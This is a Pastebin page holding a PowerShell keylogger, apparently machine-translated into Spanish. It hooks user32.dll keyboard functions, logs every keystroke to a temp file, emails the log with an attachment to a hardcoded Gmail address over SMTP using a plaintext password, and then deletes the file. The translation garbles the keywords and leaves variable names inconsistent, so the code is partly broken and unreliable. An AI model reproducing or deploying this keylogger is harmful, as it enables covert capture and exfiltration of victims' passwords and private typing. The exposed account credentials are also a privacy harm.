Advertisement
Guest User

Untitled

a guest
Apr 1st, 2020
374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. # ¡ Edita solo esta sección!
  2. $ TimesToRun = 2
  3. $ RunTimeP = 1
  4. $ De = "cyberalexis20@gmail.com"
  5. $ Pase = "depredad0r"
  6. $ To = "cyberalexis20@gmail.com"
  7. $ Asunto = " Resultados del registrador de teclas "
  8. $ body = " Resultados del keylogger "
  9. $ SMTPServer = " smtp.mail.com "
  10. $ SMTPPort = " 587 "
  11. $ credentials = new-object Management.Automation.PSCredential $ From , ( $ Pass | ConvertTo-SecureString - AsPlainText - Force)
  12. # ###########################
  13.  
  14.  
  15.  
  16.  
  17. # requiere -Versión 2
  18. función Start-KeyLogger ( $ Path = " $ env: temp \ keylogger.txt " )
  19. {
  20. # Firmas para llamadas API
  21. $ firmas = @ '
  22. [DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
  23. público estático externo externo GetAsyncKeyState (int virtualKeyCode);
  24. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  25. public static extern int GetKeyboardState (byte [] keystate);
  26. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  27. public static extern int MapVirtualKey (uint uCode, int uMapType);
  28. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  29. public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  30. '@
  31.  
  32. # cargar firmas y hacer que los miembros estén disponibles
  33. $ API = Add-Type - MemberDefinition $ firmas - Nombre ' Win32 ' - API de espacio de nombres - PassThru
  34.  
  35. # crear archivo de salida
  36. $ null = New-Item - Path $ Path - ItemType File - Forzar
  37.  
  38. tratar
  39. {
  40.  
  41. # crear bucle sin fin. Cuando el usuario presiona CTRL + C, finalmente bloquea
  42. # se ejecuta y muestra las pulsaciones de teclas recopiladas
  43. $ Runner = 0
  44. while ( $ TimesToRun -gt $ Runner ) {
  45. $ TimeStart = Get-Date
  46. $ TimeEnd = $ timeStart .addminutes ( $ RunTimeP )
  47. while ( $ TimeEnd -gt $ TimeNow ) {
  48. Start-Sleep - Milisegundos 40
  49.  
  50. # escanea todos los códigos ASCII superiores a 8
  51. para ( $ ascii = 9 ; $ ascii -le 254 ; $ ascii ++ ) {
  52. # obtener el estado actual de la clave
  53. $ state = $ API :: GetAsyncKeyState ( $ ascii )
  54.  
  55. # se presiona la tecla?
  56. if ( $ estado -eq -32767 ) {
  57. $ null = [ consola ] :: CapsLock
  58.  
  59. # traducir el código de escaneo a código real
  60. $ virtualKey = $ API :: MapVirtualKey ( $ ascii , 3 )
  61.  
  62. # obtener el estado del teclado para teclas virtuales
  63. $ kbstate = Byte de nuevo objeto [] 256
  64. $ checkkbstate = $ API :: GetKeyboardState ( $ kbstate )
  65.  
  66. # preparar un StringBuilder para recibir la clave de entrada
  67. $ mychar = New-Object - TypeName System.Text.StringBuilder
  68.  
  69. # traducir clave virtual
  70. $ success = $ API :: ToUnicode ( $ ascii , $ virtualKey , $ kbstate , $ mychar , $ mychar .Capacity , 0 )
  71.  
  72. si ( $ éxito )
  73. {
  74. # agregar clave al archivo de registro
  75. [ System.IO.File ] :: AppendAllText ( $ Path , $ mychar , [ System.Text.Encoding ] :: Unicode)
  76. }
  77. }
  78. }
  79. $ TimeNow = Get-Date
  80. }
  81. $ Runner ++
  82. send-mailmessage - de $ de - a $ a - asunto $ Asunto - cuerpo $ cuerpo - Adjunto $ Ruta - smtpServer $ smtpServer - puerto $ SMTPPort - credencial $ credenciales - usessl
  83. Remove-Item - Path $ Path - fuerza
  84. }
  85. }
  86. finalmente
  87. {
  88. # abrir archivo de registro en el Bloc de notas
  89. salida 1
  90. }
  91. }
  92.  
  93. # registra todas las pulsaciones de teclas hasta que se cancela la secuencia de comandos presionando CTRL + C
  94. # luego abrirá el archivo con los códigos clave recopilados
  95. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement